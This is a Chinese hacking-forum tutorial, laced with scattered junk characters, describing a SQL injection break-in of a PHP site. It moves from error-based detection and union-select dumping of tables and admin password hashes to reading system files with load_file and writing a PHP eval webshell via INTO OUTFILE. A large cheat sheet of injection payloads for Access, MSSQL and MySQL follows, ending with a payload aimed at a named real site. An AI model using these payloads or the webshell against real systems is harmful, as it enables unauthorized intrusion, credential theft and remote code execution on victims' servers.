我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~$ C/ b9 j. Y( `
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?! V- ?: q& q) z I9 e( G' X
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。3 u% O$ u' m- J
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)8 A. P" y# B5 S5 D9 l
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
. e9 Y7 g$ D# R- P2 M" K2 H这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
% V- r2 c* |8 E. n% a9 v2 X; Y$ ZWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in! d( ] E1 P4 @. S8 K4 Z U9 Q
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
$ ]( y8 {( z* y5 e1 j- n# j- h! C / v' n& r4 F1 z T- e
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,8 w5 ~8 i% ^) F, c2 ^1 j9 f) k* f
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意; q3 W ~0 {- a1 t! W; \! a D
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
7 Q8 P1 ~& Y% b" [; F4 v1 r9 E5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
5 {! N1 ?) U3 k$ P4 A& H) ~有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
% |; n6 b3 H# N% \# w8 @2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
, W5 z" b6 [+ o. U8 \, g0 l我就用的是第二个思路,/ h. V: F8 [9 j; }
提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
# c8 y3 u6 U1 _9 r1 w6 W/ p' d6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,9 k, h) L% j6 h H4 c" u
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--1 D$ B1 \4 ?0 A- B' r
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。: [- \/ |! U1 Q) B2 U% K7 B
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????( H2 D2 n5 n7 {2 A9 ^& H4 b
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
% N4 h. H' e6 |4 r+ D7 Z; C& }提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --. H% _& Q) d/ Q. K' u
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
# j) f3 t' k* J调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
: W4 P, [, h! E2 q7 ]下面是一些很普遍注入方式资料:) ?+ K2 u7 w( e+ [# _
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
4 m' R" R) L; N* Q拆半法+ r$ A3 M8 y, j; E1 d; D$ S$ K
######################################. b* v K& N& q- ?5 T
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
/ {( u2 i7 B6 \and exists (select * from admin); ~5 I n- i, i& X4 Q9 `: p
and exists(select id from admin)
9 q. G) f) m7 G3 X6 nand exists(select id from admin where id=1) f) T# W) n- g0 p( f
and exists(select id from admin where id>1)
6 c' P# k2 H" Z0 i9 d4 s然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
* |+ `: `2 f. E! I M9 gand exists (select username from admin)
1 E5 K; Z$ K2 ~2 X& ] Land exists (select password from admin)8 w% u* t, u# E D# c
and exists (select id from admin where len(username)<10 and id=1)8 x; ?$ I$ D6 f: A% f
and exists (select id from admin where len(username)>5 and id=1)
8 w; X/ `5 X+ J {9 ]4 rand exists (select id from admin where len(username)=6 and id=1)
3 h9 ~& g8 S8 i8 m! E& {, o, }and exists (select id from admin where len(password)<10 and id=1)8 L0 q7 C9 X) L! E5 l& S
and exists (select id from admin where len(password)>5 and id=1)! Q; r1 {# D8 X5 {2 X1 }' i1 d4 l7 p* B- h! C
and exists (select id from admin where len(password)=7 and id=1)1 @& m' u2 @0 y9 w* J# r
and (select top 1 asc(mid(username,1,1)) from admin)=971 z5 T; W4 K( ^8 ~
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。2 {; m% m& ]5 ?/ r
猜第二位把username,1,1改成username,2,1就可以了。
1 `( w6 Y S8 ?' w; s8 v: t1 p& x猜密码把username改成password就OK了. M3 b& k( d, {9 n
################################################## W5 G8 x% U% O) i. ?% u
搜索型注入
5 ]2 y" a0 J- D6 G, _% F" U##################################5 D/ ~; j! s6 ?, S( L/ z7 W
%' and 1=1 and '%'='9 R4 Y# x0 e0 r+ \7 z
%' and exists (select * from admin) and '%'='$ o5 Z0 K* y& X
%' and exists(select id from admin where id=1) and '%'='
% i7 h) P* v! x& z. u0 R2 z%' and exists (select id from admin where len(username)<10 and id=1) and '%'='3 [' h3 Y% F; h- a! i% i! t
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
% t1 N2 _- L6 I5 x9 T* o%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
+ v" g: ?( T+ {0 o1 U1 k这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='5 C7 o1 L0 G! {
对于MSSQL数据库,后面可以吧 and '%'='换成--5 U w) ]( m# m
还有一点搜索型注入也可以使用union语句。
3 y; |! M7 ^% s6 @########################################################
, z7 b3 F# ?& u联合查询。8 r1 c( P5 m; K2 l k, x1 N
#####################################
/ h. E3 j. ~& v' iorder by 10
( L* B% f3 l% j8 Aand 1=2 union select 1,2,3,4,5,6,7,8,9,10
! `# n- ~( o1 ?; H. Y5 W7 d/ gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
4 J- ~, I" U( c" _1 Y4 gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
# u" y$ ?- P8 {, ?5 \很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
& Z% R9 z) _1 Y2 s8 U###################################3 T' ?# g" W/ W/ n. g# w& M
cookie注入
1 g& j# Q+ o/ a( o" X###############################
- K7 h" f7 i. s5 L% U/ mhttp://www.******.com/shownews.asp?id=127) @/ K9 E" n1 o+ C7 n$ K% ?
http://www.******.com/shownews.asp
* g4 a- e* u* D0 U9 Lalert(="id="+escape("127"));2 z$ [2 g. d+ t& u
alert(="id="+escape("127 and 1=1"));
3 W+ E- q9 @' W. M1 O& X8 Nalert(="id="+escape("127 order by 10"));
' [9 V/ V2 H2 t4 W% d( ialert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));3 c% [ r0 q# N' _' F5 c" a
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));& q0 |; e; D0 ~6 H
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。) n2 \6 e; l+ l+ w9 Y- K
###################################9 e* K( g! W9 b- t7 t' O
偏移注入/ p1 g9 `+ h M# t
###########################################################
/ _* R3 m# u9 a. m5 [/ F3 Xunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin! b, T v! m: V7 g& l) k3 Y
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin. F+ X( H( c! j# @) O& q t; {6 n$ m! |
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
; ~" b5 P2 q( _ B! {2 [) Lunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)$ l# |/ U& W. }0 A, F
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
4 t0 N# `" f# v1 t! j9 Dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
3 [9 e. w2 w+ @union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on2 r7 ~4 d/ J, i9 u6 {1 A
a.id=d.id)
2 S* ?! g5 W6 b( R" Oand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)) A1 C8 U, @& X- \( [
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) , u0 v4 v! h0 M6 v, P
! u, C, L2 s- f3 ?3 b
============================================================================================================
; o- t4 w% U. Y$ v6 i1.判断版本4 S$ t1 n+ J. Y& k/ A8 X% H
and ord(mid(version(),1,1))>516 T5 A/ ]% }/ F |
返回正常,说明大于4.0版本,支持ounion查询1 L- Q) G/ h1 C' M2 }8 X3 q! u1 j
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解' p( C8 x6 K$ ~9 H
and 2=4 union select 1,2,3,4,5,6,7,8,9--# N/ v7 A* a% }: x
3.查看数据库版本及当前用户,
5 W8 P0 |; h6 D' nand 2=4 union select 1,user(),version(),4,5,6,7,8,9--
- s9 O% c' G, T6 G1 |' S& H8 Z数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,& l S9 r/ w1 s3 n8 Y" E
4.判断有没有写权限
! m: f5 Y; c$ V1 }3 J6 g9 ~and (select count(*) from MySQL.user)>0--
/ B; n% ]0 H6 g( X- N# t; P/ @5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
- @6 O2 x2 U/ E! o用不了这个命令,就学习土耳其黑客手法,如下. u7 p4 O1 m! ~$ j, J5 ~1 i
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--" V" v0 l6 H' P9 R! l$ a" f5 w" V
6.爆表,爆库- E' O# [+ V( w: n" I
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
8 M" s4 q" I# K" }* U- E- q5 U2 H7.爆列名,爆表5 x0 _1 x6 \" i; }
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--) B$ B2 W4 J# T: _
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。. M' I [2 Q! b# Y( H
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--' P& q; U1 B5 H- l5 G7 f. R9 I) ~
9.爆字段内容5 K/ K3 _$ w* [1 m9 R C- ^
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--& a) D6 Y+ a P
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |